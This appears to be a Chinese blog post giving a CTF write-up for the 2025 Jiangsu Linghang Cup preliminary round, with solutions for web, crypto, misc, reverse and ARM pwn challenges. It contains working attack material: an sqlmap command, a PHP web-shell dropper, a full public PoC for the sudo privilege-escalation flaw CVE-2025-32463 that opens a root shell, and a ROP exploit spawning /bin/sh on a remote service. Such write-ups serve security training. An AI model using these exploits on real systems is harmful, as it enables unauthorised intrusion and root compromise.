{"id":172,"date":"2025-10-16T16:24:21","date_gmt":"2025-10-16T08:24:21","guid":{"rendered":"http:\/\/blog.which778.cn\/?p=172"},"modified":"2025-10-16T16:24:21","modified_gmt":"2025-10-16T08:24:21","slug":"%e6%b1%9f%e8%8b%8f%e7%9c%812025%e5%b9%b4%e9%a2%86%e8%88%aa%e6%9d%af%e6%9c%ac%e7%a7%91%e7%bb%84%e5%88%9d%e8%b5%9bwp","status":"publish","type":"post","link":"http:\/\/blog.which778.cn\/?p=172","title":{"rendered":"\u6c5f\u82cf\u77012025\u5e74\u9886\u822a\u676f\u672c\u79d1\u7ec4\u521d\u8d5bwp"},"content":{"rendered":"

WEB<\/h2>\n

sqllogic<\/h3>\n

\"\"<\/p>\n

sqlmap\u4e00\u628a\u68ad<\/p>\n

sqlmap -u "http:\/\/123.56.252.211:10664\/search\/results?query=1"  --columns --batch<\/code><\/pre>\n
\"\"<\/p>\n
2345<\/h3>\n
\"\"<\/p>\n
\"\"<\/p>\n
#!\/bin\/bash\necho '<?php @eval($_POST[1]);?>' > \/var\/www\/html\/1.php<\/code><\/pre>\n
\"\"<\/p>\n
#!\/bin\/bash\n# sudo-chwoot.sh\n# CVE-2025-32463 \u2013 Sudo EoP Exploit PoC by Rich Mirch\n#                  @ Stratascale Cyber Research Unit (CRU)\nSTAGE=$(mktemp -d \/tmp\/sudowoot.stage.XXXXXX)\ncd ${STAGE?} || exit 1\n\nif [ $# -eq 0 ]; then\n    # If no command is provided, default to an interactive root shell.\n    CMD="\/bin\/bash"\nelse\n    # Otherwise, use the provided arguments as the command to execute.\n    CMD="$@"\nfi\n\n# Escape the command to safely include it in a C string literal.\n# This handles backslashes and double quotes.\nCMD_C_ESCAPED=$(printf '%s' "$CMD" | sed -e 's\/\\\\\/\\\\\\\\\/g' -e 's\/"\/\\\\"\/g')\n\ncat > woot1337.c<<EOF\n#include <stdlib.h>\n#include <unistd.h>\n\n__attribute__((constructor)) void woot(void) {\n  setreuid(0,0);\n  setregid(0,0);\n  chdir("\/");\n  execl("\/bin\/sh", "sh", "-c", "${CMD_C_ESCAPED}", NULL);\n}\nEOF\n\nmkdir -p woot\/etc libnss_\necho "passwd: \/woot1337" > woot\/etc\/nsswitch.conf\ncp \/etc\/group woot\/etc\ngcc -shared -fPIC -Wl,-init,woot -o libnss_\/woot1337.so.2 woot1337.c\n\necho "woot!"\nsudo -R woot woot\nrm -rf ${STAGE?}\n<\/code><\/pre>\n
\"\"<\/p>\n
CnHongKe{d615970bc4725ca2881af2c3feb0478a}<\/code><\/pre>\n
golang<\/h3>\n
\u83b7\u53d6\u4f2a\u9020\u751f\u6210\u7684cookie<\/p>\n
\"\"<\/p>\n
\u5e26\u7740 cookie \u8bbf\u95ee game \u9875\u9762<\/p>\n
MTc2MDE2OTgyMHxEWDhFQVFMX2dBQUJFQUVRQUFBa180QUFBUVp6ZEhKcGJtY01Cd0FGZFc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXzAabBhc-VOfs8KzCZndDVC4_WKdGhmvjFMwYixdZz_JQ==<\/code><\/pre>\n
\u83b7\u53d6 \u6700\u65b0 cookie<\/p>\n
\"\"<\/p>\n
\u5e26\u7740 cookie \u6ea2\u51fa uint<\/p>\n
\"\"<\/p>\n
\u67e5\u8be2\u4ef7\u683c<\/p>\n
\"\"<\/p>\n
\u76f4\u63a5\u8d2d\u4e70<\/p>\n
\"\"<\/p>\n
crypto<\/h2>\n
RSA<\/h3>\n
#!\/usr\/bin\/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nRSA\u89e3\u5bc6\u811a\u672c - \u5df2\u77e5p+q\u7684\u60c5\u51b5\n\"\"\"\n\nfrom Crypto.Util.number import long_to_bytes\nimport gmpy2\n\n# \u7ed9\u5b9a\u53c2\u6570\np_plus_q = 301373203983817824477439781534648401500842793282411404304301004942220186206581945329851921383676578008738506418463185879860170405131152673310026966497726612152197141905257847270740782364013354175714127481150850206109485711163887373627922341760228110260532723481173348391642406634353323878411601361842817092974\nn = 22706452019867966957603292040239249656783271638275547949792948472441673600393404776639671556600972159561228195172828850121688563632354441827910317374334762253711257094452219019913838320749888757948671138527754644273314857226487685803702221952322341679579537247638368581421747822602230905395431324269325046498791252526134925074633632521386021742253585690143278743099488718148499923475446478820226501358783989810857039034707768666474531998849061930723568757001438038878841981597866003546087691114191895019307243858055480921158021862316907804411554035235551361584456019703754251025092795892845528284666131859286039957069\nc = 2358571643102472923122500075787452598516766071370185837864940488229202552169938085261784772315266184694364102023094642619257608920232093230626641925391931379387980767218708329616769641160305637297277469928161910756641223833942092135652354528447848276608048126136831705765881677600714289921757257038772819092396931225927654746227485343260490301085754241972144588991894115723285529705590897520934565600082411128017261307911094968820350788498111156927072204349872027277191840808036688917351083872755943221966031648196822653168427381434608991754887592555395790306162858971574716787849155152223077184142414842900196150337\ne = 65537\n\ndef solve_rsa_with_sum():\n    \"\"\"\n    \u5df2\u77e5 p+q \u548c n=p*q,\u6c42\u89e3p\u548cq\n\n    \u65b9\u6cd5:\n    \u8bbe sum = p + q, prod = p * q = n\n    p\u548cq\u662f\u65b9\u7a0b x^2 - sum*x + prod = 0 \u7684\u4e24\u4e2a\u6839\n\n    \u5229\u7528\u6c42\u6839\u516c\u5f0f:\n    x = (sum \u00b1 sqrt(sum^2 - 4*prod)) \/ 2\n    \"\"\"\n    print(\"[*] \u5f00\u59cbRSA\u89e3\u5bc6...\")\n    print(f\"[*] p + q = {p_plus_q}\")\n    print(f\"[*] n = p * q = {n}\")\n    print(f\"[*] e = {e}\")\n    print()\n\n    # \u8ba1\u7b97\u5224\u522b\u5f0f delta = (p+q)^2 - 4*n\n    print(\"[*] \u8ba1\u7b97\u5224\u522b\u5f0f delta = (p+q)^2 - 4*n\")\n    delta = p_plus_q * p_plus_q - 4 * n\n\n    # \u5224\u65addelta\u662f\u5426\u4e3a\u5b8c\u5168\u5e73\u65b9\u6570\n    sqrt_delta, is_perfect = gmpy2.iroot(delta, 2)\n\n    if not is_perfect:\n        print(\"[-] \u9519\u8bef: \u5224\u522b\u5f0f\u4e0d\u662f\u5b8c\u5168\u5e73\u65b9\u6570!\")\n        return None\n\n    print(f\"[+] sqrt(delta) = {sqrt_delta}\")\n    print()\n\n    # \u8ba1\u7b97 p \u548c q\n    # p = (sum + sqrt_delta) \/ 2\n    # q = (sum - sqrt_delta) \/ 2\n    p = (p_plus_q + sqrt_delta) \/\/ 2\n    q = (p_plus_q - sqrt_delta) \/\/ 2\n\n    print(f\"[+] \u6c42\u5f97 p = {p}\")\n    print(f\"[+] \u6c42\u5f97 q = {q}\")\n    print()\n\n    # \u9a8c\u8bc1\n    if p * q != n:\n        print(\"[-] \u9519\u8bef: p * q \u2260 n\")\n        return None\n\n    print(\"[+] \u9a8c\u8bc1\u6210\u529f: p * q = n\")\n    print()\n\n    # \u8ba1\u7b97\u6b27\u62c9\u51fd\u6570 phi(n) = (p-1)(q-1)\n    phi = (p - 1) * (q - 1)\n    print(f\"[*] phi(n) = (p-1)(q-1) = {phi}\")\n    print()\n\n    # \u8ba1\u7b97\u79c1\u94a5\u6307\u6570 d = e^-1 (mod phi(n))\n    d = gmpy2.invert(e, phi)\n    print(f\"[*] \u79c1\u94a5 d = {d}\")\n    print()\n\n    # \u89e3\u5bc6: m = c^d mod n\n    print(\"[*] \u89e3\u5bc6\u4e2d: m = c^d mod n\")\n    m = pow(c, d, n)\n    print(f\"[+] \u660e\u6587(\u6570\u5b57) m = {m}\")\n    print()\n\n    # \u8f6c\u6362\u4e3a\u5b57\u8282\u4e32\n    flag = long_to_bytes(m)\n    print(f\"[+] Flag: {flag.decode('utf-8', errors='ignore')}\")\n\n    return flag\n\nif __name__ == \"__main__\":\n    print(\"=\" * 70)\n    print(\"RSA\u89e3\u5bc6\u5de5\u5177 - \u5df2\u77e5p+q\u7684\u60c5\u51b5\")\n    print(\"=\" * 70)\n    print()\n\n    result = solve_rsa_with_sum()\n\n    if result:\n        print()\n        print(\"=\" * 70)\n        print(\"[\u2713] \u89e3\u5bc6\u6210\u529f!\")\n        print(\"=\" * 70)\n    else:\n        print()\n        print(\"=\" * 70)\n        print(\"[\u2717] \u89e3\u5bc6\u5931\u8d25!\")\n        print(\"=\" * 70)\n<\/code><\/pre>\n
\"\"<\/p>\n
CnHongKe{Easy_PQ_rSa}<\/code><\/pre>\n
\u5171\u4eab\u7d20\u6570\u7684\u79d8\u5bc6<\/h3>\n
\nfrom Crypto.Util.number import long_to_bytes, inverse, GCD\nfrom gmpy2 import gcd, iroot\nimport itertools\n\n# \u6a21\u6570\nn1 = 56088008965912130802747006202589200897645894111616159240615135530594117224000675629455819563588231472643625595686366682188919598653105172015094881691898499378912716020840752984151314538087395538106575146567102010401472934502891840971702729794865317218830777968098318733607885032325416544008401737222663463927\nn2 = 79698662529104884373850883885092786425378361341470755123774711094581066711387406537130963967615734721901191432817705781244778741449056391955658028947318389120074762718425616234515746662953963938700160718927275842762288104111877590437745495897061968718262508284419023547097025649881080019665312309174342738211\nn3 = 61279553608048672065640333496005113932588314658443474260029634516905668855746757892828131665996650258763135383499333634727193801319493399143270221072002120795632302453083738709523760910058500305615003368888120365810299904118282981929667753265717802765281191078081581581190432600539304051783114168609932897717\nn4 = 132724788617222723452659083149720243855798612628783146360091493635188455634321606927210341297542315817279256225977027677145920565092040466436500605257081950797902208052046182862572799684811953443491808405030547521661392489097817792562135857106116829321199606856821416850340277225530184540965348223039332455263\nn5 = 113496612162321230277786197902492778500132561775602887364148079310504617024805717362729528596618251392677825931796671720459064371935893691696655999116709977526226488134251513085006500013220817782821680160949278481154644636939776915334490113620170819325084377050433936890694130321313219173743384816878843783797\nn6 = 82042867737177392879251287613134211463303321837876107018669705562718506977743201641288163148654285000224545412305519517467940249181018423157431646076230302159304116129663069166025759008866627799109362546089222706883284678958398391038185012116429274690638701988762697407604742785893375340714818581070552071393\n\n# n1\u7684\u5df2\u77e5\u9ad8\u4f4d\uff0835%\u5df2\u77e5\uff09\nn1_high_bits = "10001111110010000010000000100001011110010001010110101101000011101110000101100011100001001010100010101001110001000000000010110011101001101010111110001010101010010010110100111011001"\n\n# n3\u7684\u5df2\u77e5\u9ad8\u4f4d\uff0835%\u5df2\u77e5\uff09- \u548cn1\u76f8\u540c\nn3_high_bits = "10001111110010000010000000100001011110010001010110101101000011101110000101100011100001001010100010101001110001000000000010110011101001101010111110001010101010010010110100111011001"\n\n# n2\u7684\u5df2\u77e5\u9ad8\u4f4d\nn2_high_bits = "10010000111110001110010011011000110101011001110010001100100001010011111110101110010101110000111010101010111010010011110100000010010110101011111101011011010110111101011011111000100"\n\ne = 65537\nc = 53557202949970474229543701499534368969296602696197749254760571931284132378838295003523268292879427494968356973705556907838418612139206352857882448965592957329168466992619269779833256041841034176259833688341251540338449443882616537656743522443815950027487220704678426478415676402041165334669995009765469366579\n\ndef analyze_moduli():\n    """\u5206\u6790\u6a21\u6570\u4e4b\u95f4\u7684\u5173\u7cfb"""\n    print("[*] \u5206\u6790\u6a21\u6570\u4e4b\u95f4\u7684GCD\u5173\u7cfb...")\n\n    moduli = [n1, n2, n3, n4, n5, n6]\n\n    for i in range(len(moduli)):\n        for j in range(i+1, len(moduli)):\n            g = gcd(moduli[i], moduli[j])\n            if g > 1 and g != moduli[i] and g != moduli[j]:\n                print(f"[+] \u627e\u5230\u5171\u540c\u56e0\u5b50\uff01n{i+1} \u548c n{j+1} \u7684GCD = {g}")\n                print(f"    n{i+1} bit length: {g.bit_length()}")\n                return i+1, j+1, g\n\n    print("[-] \u672a\u627e\u5230\u660e\u663e\u7684\u5171\u540c\u56e0\u5b50\uff0c\u5c1d\u8bd5\u5176\u4ed6\u65b9\u6cd5...")\n    return None, None, None\n\ndef fermat_factorization(n, max_iterations=100000):\n    """\u8d39\u9a6c\u5206\u89e3\u6cd5 - \u9002\u7528\u4e8e\u4e24\u4e2a\u56e0\u5b50\u63a5\u8fd1\u7684\u60c5\u51b5"""\n    print(f"[*] \u5c1d\u8bd5\u8d39\u9a6c\u5206\u89e3 n (bit_length={n.bit_length()})...")\n\n    a, is_perfect = iroot(n, 2)\n    a = int(a)\n\n    if is_perfect:\n        return a, a\n\n    a += 1\n\n    for i in range(max_iterations):\n        b_squared = a * a - n\n        b, is_perfect = iroot(b_squared, 2)\n\n        if is_perfect:\n            b = int(b)\n            p = a - b\n            q = a + b\n            if p * q == n:\n                print(f"[+] \u8d39\u9a6c\u5206\u89e3\u6210\u529f\uff01")\n                return p, q\n\n        a += 1\n\n    print("[-] \u8d39\u9a6c\u5206\u89e3\u5931\u8d25")\n    return None, None\n\ndef partial_key_recovery():\n    """\u5229\u7528\u90e8\u5206\u6bd4\u7279\u4fe1\u606f\u6062\u590d\u5bc6\u94a5"""\n    print("[*] \u5c1d\u8bd5\u5229\u7528\u90e8\u5206\u6bd4\u7279\u4fe1\u606f...")\n\n    # n1\u548cn3\u5171\u4eab\u9ad835%\u7684\u6bd4\u7279\uff0c\u8bf4\u660e\u5b83\u4eec\u53ef\u80fd\u5171\u4eab\u4e00\u4e2a\u8d28\u56e0\u5b50p\n    # \u6211\u4eec\u5148\u5c1d\u8bd5\u76f4\u63a5\u8ba1\u7b97GCD\n    g = gcd(n1, n3)\n    if g > 1:\n        print(f"[+] n1\u548cn3\u5b58\u5728\u516c\u56e0\u5b50: {g}")\n        print(f"    bit_length: {g.bit_length()}")\n\n        # \u9a8c\u8bc1\u8fd9\u4e2a\u56e0\u5b50\n        if n1 % g == 0 and n3 % g == 0:\n            p1 = g\n            q1 = n1 \/\/ g\n            q3 = n3 \/\/ g\n\n            print(f"[+] \u5206\u89e3\u6210\u529f\uff01")\n            print(f"    n1 = {p1} * {q1}")\n            print(f"    n3 = {p1} * {q3}")\n\n            return {'n1': (p1, q1), 'n3': (p1, q3)}\n\n    return None\n\ndef factorize_all_moduli():\n    """\u5c1d\u8bd5\u5206\u89e3\u6240\u6709\u6a21\u6570"""\n    print("\\n" + "="*60)\n    print("[*] \u5f00\u59cb\u5206\u89e3\u6240\u6709\u6a21\u6570...")\n    print("="*60 + "\\n")\n\n    factors = {}\n\n    # \u65b9\u6cd51\uff1a\u5148\u68c0\u67e5\u4e92\u76f8\u7684GCD\n    moduli = {'n1': n1, 'n2': n2, 'n3': n3, 'n4': n4, 'n5': n5, 'n6': n6}\n    names = list(moduli.keys())\n\n    for i in range(len(names)):\n        for j in range(i+1, len(names)):\n            name_i, name_j = names[i], names[j]\n            g = gcd(moduli[name_i], moduli[name_j])\n\n            if g > 1 and g != moduli[name_i] and g != moduli[name_j]:\n                print(f"[+] \u627e\u5230\u5171\u540c\u56e0\u5b50\uff01{name_i} \u548c {name_j}")\n                print(f"    \u516c\u56e0\u5b50 bit_length: {g.bit_length()}")\n\n                # \u5206\u89e3\u8fd9\u4e24\u4e2a\u6a21\u6570\n                if name_i not in factors:\n                    p = g\n                    q = moduli[name_i] \/\/ g\n                    factors[name_i] = (p, q)\n                    print(f"    {name_i} = p * q")\n\n                if name_j not in factors:\n                    p = g\n                    q = moduli[name_j] \/\/ g\n                    factors[name_j] = (p, q)\n                    print(f"    {name_j} = p * q")\n\n    # \u65b9\u6cd52\uff1a\u5bf9\u672a\u5206\u89e3\u7684\u6a21\u6570\u5c1d\u8bd5\u8d39\u9a6c\u5206\u89e3\n    for name, n in moduli.items():\n        if name not in factors:\n            print(f"\\n[*] \u5c1d\u8bd5\u5206\u89e3 {name}...")\n            p, q = fermat_factorization(n)\n            if p and q:\n                factors[name] = (p, q)\n                print(f"[+] {name} \u5206\u89e3\u6210\u529f\uff01")\n\n    return factors\n\ndef decrypt_with_factors(factors):\n    """\u4f7f\u7528\u5206\u89e3\u540e\u7684\u56e0\u5b50\u89e3\u5bc6"""\n    print("\\n" + "="*60)\n    print("[*] \u5c1d\u8bd5\u89e3\u5bc6...")\n    print("="*60 + "\\n")\n\n    # \u5c1d\u8bd5\u6bcf\u4e2a\u6a21\u6570\n    for name, (p, q) in factors.items():\n        n = p * q\n\n        # \u9a8c\u8bc1n\u662f\u5426\u6b63\u786e\n        moduli = {'n1': n1, 'n2': n2, 'n3': n3, 'n4': n4, 'n5': n5, 'n6': n6}\n        if n != moduli[name]:\n            print(f"[-] {name} \u56e0\u5b50\u9a8c\u8bc1\u5931\u8d25")\n            continue\n\n        print(f"[*] \u4f7f\u7528 {name} \u5c1d\u8bd5\u89e3\u5bc6...")\n        print(f"    p bit_length = {p.bit_length()}")\n        print(f"    q bit_length = {q.bit_length()}")\n\n        # \u8ba1\u7b97phi\n        phi = (p - 1) * (q - 1)\n\n        # \u68c0\u67e5e\u548cphi\u662f\u5426\u4e92\u8d28\n        if gcd(e, phi) != 1:\n            print(f"[-] e \u548c phi \u4e0d\u4e92\u8d28\uff0c\u8df3\u8fc7")\n            continue\n\n        try:\n            # \u8ba1\u7b97\u79c1\u94a5d\n            d = inverse(e, phi)\n\n            # \u89e3\u5bc6\n            m = pow(c, d, n)\n\n            # \u8f6c\u6362\u4e3a\u5b57\u8282\n            flag_bytes = long_to_bytes(m)\n\n            # \u5c1d\u8bd5\u591a\u79cd\u89e3\u7801\u65b9\u5f0f\n            print(f"[*] \u5c1d\u8bd5\u89e3\u7801...")\n            print(f"    \u539f\u59cb\u5b57\u8282\u957f\u5ea6: {len(flag_bytes)}")\n            print(f"    \u524d20\u5b57\u8282(hex): {flag_bytes[:20].hex()}")\n\n            # \u5c1d\u8bd5UTF-8\n            try:\n                flag_str = flag_bytes.decode('utf-8')\n                if flag_str.isprintable() or 'flag{' in flag_str.lower():\n                    print(f"[+] \u2713 \u89e3\u5bc6\u6210\u529f\uff01\u4f7f\u7528 {name}")\n                    print(f"[+] Flag: {flag_str}")\n                    print()\n                    return flag_bytes\n            except:\n                pass\n\n            # \u5c1d\u8bd5Latin-1\n            try:\n                flag_str = flag_bytes.decode('latin-1')\n                if 'flag{' in flag_str.lower():\n                    print(f"[+] \u2713 \u89e3\u5bc6\u6210\u529f\uff01\u4f7f\u7528 {name} (latin-1)")\n                    print(f"[+] Flag: {flag_str}")\n                    print()\n                    return flag_bytes\n            except:\n                pass\n\n            # \u663e\u793a\u539f\u59cb\u5b57\u8282\uff08\u53ef\u80fd\u662f\u5176\u4ed6\u683c\u5f0f\uff09\n            print(f"[-] {name} \u89e3\u5bc6\u7ed3\u679c\u65e0\u6cd5\u89e3\u7801\u4e3a\u53ef\u8bfb\u6587\u672c")\n            print(f"    \u539f\u59cb\u5b57\u8282: {flag_bytes}")\n            print()\n\n        except Exception as ex:\n            print(f"[-] \u89e3\u5bc6\u5931\u8d25: {ex}")\n            import traceback\n            traceback.print_exc()\n\n    return None\n\ndef main():\n    print("""\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n    \u2551        RSA \u90e8\u5206\u6bd4\u7279\u6cc4\u9732\u653b\u51fb - \u5bc6\u78012 \u89e3\u5bc6\u811a\u672c               \u2551\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n    """)\n\n    # \u7b2c\u4e00\u6b65\uff1a\u5206\u89e3\u6240\u6709\u6a21\u6570\n    factors = factorize_all_moduli()\n\n    if not factors:\n        print("[-] \u672a\u80fd\u5206\u89e3\u4efb\u4f55\u6a21\u6570")\n        return\n\n    print(f"\\n[+] \u6210\u529f\u5206\u89e3 {len(factors)} \u4e2a\u6a21\u6570")\n\n    # \u7b2c\u4e8c\u6b65\uff1a\u4f7f\u7528\u5206\u89e3\u7ed3\u679c\u89e3\u5bc6\n    flag = decrypt_with_factors(factors)\n\n    if flag:\n        print("\\n" + "="*60)\n        print("[\u221a] \u89e3\u5bc6\u5b8c\u6210\uff01")\n        print("="*60)\n    else:\n        print("\\n[-] \u6240\u6709\u89e3\u5bc6\u5c1d\u8bd5\u5747\u5931\u8d25")\n\nif __name__ == "__main__":\n    main()\n<\/code><\/pre>\n
\"\"<\/p>\n
CnHongKe{6cac5c4e6a8f4e8d9b2e3c8a}<\/code><\/pre>\n
MISC<\/h2>\n
ftpconfix<\/h3>\n
\u5728\u6570\u636e\u530556\u4e2d\u53d1\u73b0Base58\u7f16\u7801\u7684\u6570\u636e:<\/p>\n
9XUnxxRh9REHLRUSizjk3HJ1cfX7kgCtXxMyA9Sv7M8Z66ntasgqAhau88UbGGhwZA<\/code><\/pre>\n
\u89e3\u7801\uff08\u5341\u516d\u8fdb\u5236\uff09:<\/p>\n
e869d6e17648b0fcac51ff60c0604f382bbf44daad80c5fc970c5a51d373a67a71218f9b7f73536f210b974af8f11071<\/code><\/pre>\n
\u5728\u538b\u7f29\u5305\u4e2d\u53d1\u73b0\u5982\u4e0b\u63d0\u793a\uff1a<\/p>\n
=== CONFIDENTIAL FINANCIAL REPORT ===\nQuarter: Q2 2024\nRevenue: $12,450,000\nExpenses: $8,210,000\nNet Profit: $4,240,000\n\nKey Metrics:\n- Customer Growth: +18%\n- Market Share: 22.4%\n\nNote: All sensitive data is encrypted. Flag: CnHongKe{THIS_IS_A_DECOY}\nHint: Why not Base64? Try Base58 for better stealth.\n\nKey hint: SHA256 fragment ; IV hint: time struct (!HBBBBBB,year,month,day,hour,minute,second,0) + zero padding<\/code><\/pre>\n
\u63d0\u53d6\u5173\u952e\u4fe1\u606f<\/p>\n
- \u5bc6\u94a5\u6765\u6e90: ftp_key<\/code> (\u9700\u8981SHA256\u54c8\u5e0c\u5904\u7406)<\/p>\n
- IV\u6784\u9020\u65b9\u5f0f: \u65f6\u95f4\u7ed3\u6784 (!HBBBBBB,year,month,day,hour,minute,second,0)<\/code> + \u96f6\u586b\u5145<\/p>\n
- \u65f6\u95f4: 2024\u5e743\u670815\u65e5 09:30:00<\/p>\n
- \u52a0\u5bc6\u7b97\u6cd5: AES (\u6839\u636e\u5bc6\u94a5\u957f\u5ea6\u548cIV\u957f\u5ea6\u5224\u65ad)<\/p>\n
- \u52a0\u5bc6\u6a21\u5f0f: CBC (\u6839\u636e\u9700\u8981IV\u5224\u65ad)<\/p>\n
\u6784\u9020\u5bc6\u94a5\u548cIV<\/p>\n
\u6784\u9020IV<\/p>\n
from Crypto.Cipher import AES\nfrom Crypto.Util.Padding import unpad\nimport hashlib\nimport struct\n\n# \u5bc6\u6587\nciphertext = bytes.fromhex("e869d6e17648b0fcac51ff60c0604f382bbf44daad80c5fc970c5a51d373a67a71218f9b7f73536f210b974af8f11071")\n\n# \u5bc6\u94a5: SHA256("ftp_key")\u7684\u524d16\u5b57\u8282\nkey = hashlib.sha256(b"ftp_key").digest()[:16]\n\n# IV: \u4ece\u65f6\u95f4\u62332024-03-15 09:30:12\u6784\u9020\niv = struct.pack('!HBBBBBB', 2024, 3, 15, 9, 30, 12, 0) + b'\\x00' * 9\n\n# AES-128-CBC\u89e3\u5bc6\ncipher = AES.new(key, AES.MODE_CBC, iv)\nplaintext = unpad(cipher.decrypt(ciphertext), 16)\n\n# \u7ed3\u679c\nprint(plaintext.decode('utf-8'))\n# \u8f93\u51fa: CnHongGe{FTP_Exf1l_v1a_Mult1_Ch4nn3l}<\/code><\/pre>\n
CnHongKe{FTP_Exf1l_v1a_Mult1_Ch4nn3l}<\/code><\/pre>\n
\u7834\u788e\u7684\u56fe\u7247<\/h3>\n
\"\"<\/p>\n
REVERSE<\/h2>\n
py\u9006\u5411<\/h3>\n
#!\/usr\/bin\/env python3\n# -*- coding: utf-8 -*-\n\nimport base64\n\ndef custom_b64decode(s):\n    """\n    \u4f7f\u7528\u81ea\u5b9a\u4e49Base64\u8868\u89e3\u7801\u5b57\u7b26\u4e32\n    """\n    # \u81ea\u5b9a\u4e49\u5b57\u7b26\u8868(\u4ecepyc\u4e2d\u63d0\u53d6)\n    custom_table = "XYZABCDEFGHIJKLMNOPQRSTUVWxyzabcdefghijklmnopqrstuvw0123456789+\/"\n    # \u6807\u51c6Base64\u5b57\u7b26\u8868\n    standard_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/"\n\n    # \u521b\u5efa\u8f6c\u6362\u6620\u5c04\n    translation = str.maketrans(custom_table, standard_table)\n\n    # \u5c06\u81ea\u5b9a\u4e49Base64\u8f6c\u6362\u4e3a\u6807\u51c6Base64\n    standard_b64 = s.translate(translation)\n\n    try:\n        # \u8fdb\u884c\u6807\u51c6Base64\u89e3\u7801\n        decoded_bytes = base64.b64decode(standard_b64)\n        flag = decoded_bytes.decode('utf-8')\n        return flag\n    except Exception as e:\n        return f"\u89e3\u7801\u9519\u8bef: {e}"\n\ndef main():\n    # \u8bfb\u53d6\u52a0\u5bc6\u7684flag\n    with open('encrypted_flag.txt', 'r') as f:\n        encrypted_str = f.read().strip()\n\n    print(f"\u52a0\u5bc6\u7684\u5b57\u7b26\u4e32: {encrypted_str}")\n    print(f"\u5b57\u7b26\u4e32\u957f\u5ea6: {len(encrypted_str)}")\n    print()\n\n    # \u7b2c\u4e00\u6b21\u89e3\u5bc6\n    decoded_once = custom_b64decode(encrypted_str)\n    print(f"\u7b2c\u4e00\u6b21\u89e3\u5bc6\u7ed3\u679c: {decoded_once}")\n\n    # \u68c0\u67e5\u662f\u5426\u9700\u8981\u591a\u6b21\u89e3\u5bc6(base64\u5957\u5a03)\n    current = decoded_once\n    count = 1\n    while True:\n        try:\n            # \u5c1d\u8bd5\u7ee7\u7eed\u89e3\u5bc6\n            next_decoded = custom_b64decode(current)\n            if next_decoded == current or next_decoded.startswith("\u89e3\u7801\u9519\u8bef"):\n                break\n            count += 1\n            current = next_decoded\n            print(f"\u7b2c{count}\u6b21\u89e3\u5bc6\u7ed3\u679c: {current}")\n        except:\n            break\n\n    print()\n    print(f"=" * 50)\n    print(f"\u6700\u7ec8FLAG: {current}")\n    print(f"=" * 50)\n\nif __name__ == "__main__":\n    main()<\/code><\/pre>\n
\"\"<\/p>\n
CnHongKe{SpAcia1_ba3e_64}<\/code><\/pre>\n
PWN<\/h2>\n
arm pwn<\/h3>\n
\u5b58\u5728\u6808\u6ea2\u51fa\uff0c\u6cc4\u97320x104\u4e2a\u5b57\u8282\u5373\u53ef<\/p>\n
\"\"<\/p>\n
\u601d\u8def\uff0c\u83b7\u53d6puts\u51fd\u6570\u7684\u771f\u5b9e\u5730\u5740\uff0c\u7136\u540e\u6839\u636e\u504f\u79fb\u8ba1\u7b97system\u548cbinsh\u7684\u504f\u79fb\u5730\u5740\uff0c\u6700\u7ec8\u5f97\u5230flag \u7531\u4e8e\u7a0b\u5e8f\u4e0d\u5b58\u5728pop{r0\uff0cpc}\uff0c\u4f46\u662f\u5b58\u5728pop {r3\uff0cpc} \u548cMOVR0, R3\uff0c\u901a\u8fc7\u8fd9\u4e2a\u63a7\u5236r3\uff0c\u540c\u6837\u53ef\u4ee5\u63a7\u5236r0 \u7531\u4e8e\u7a0b\u5e8f\u5728\u6cc4\u9732\u51fa\u771f\u5b9e\u5730\u5740\u540e\u8fd4\u56de\u5230\u4e3b\u51fd\u6570\u4f1a\u5d29\u6e83\uff0c\u4e14\u771f\u5b9e\u5730\u5740\u4e0d\u4f1a\u53d1\u751f\u53d8\u5316\uff0c\u6240\u4ee5\u6211\u53ef\u4ee5\u76f4\u63a5\u5c06puts \u51fd\u6570\u7684\u771f\u5b9e\u5730\u5740\u5199\u6b7b\uff0c\u4e00\u904d\u5c31\u53ef\u4ee5\u6253\u901a<\/code><\/pre>\n
\u5b8c\u6574exp<\/p>\n
 from pwn import *\n context(log_level='debug',arch='arm',os='linux')\n\n p=remote("123.56.252.211",12391)\n libc=ELF('.\/libc-2.27.so')\n elf=ELF(".\/pwn")\n\n puts_plt=0x000105E0\n puts_got=elf.got['puts']\n\n pop_r11_pc=0x00010688\n pop_r3_pc=0x000103f0\n mov_r0_r3=0x000106C0\n main_addr=0x000105D0\n real_puts=0xff6c38b8\n\n p.recvuntil("Username: ")\n\n p.sendline("admin")\n p.recvuntil("Password: ")\n\n libc_base=real_puts-libc.sym['puts']\n system_addr=libc_base+libc.sym['system']\n binsh_addr=libc_base+libc.search(b"\/bin\/sh\\x00").__next__()\nprint(binsh_addr)\n payload=b'a'*\n (0x104)+p32(pop_r3_pc)+p32(binsh_addr)+p32(mov_r0_r3)+p32(0x12345678)+p32(system_\n addr)\n\n p.sendline(payload)\n p.interactive()<\/code><\/pre>\n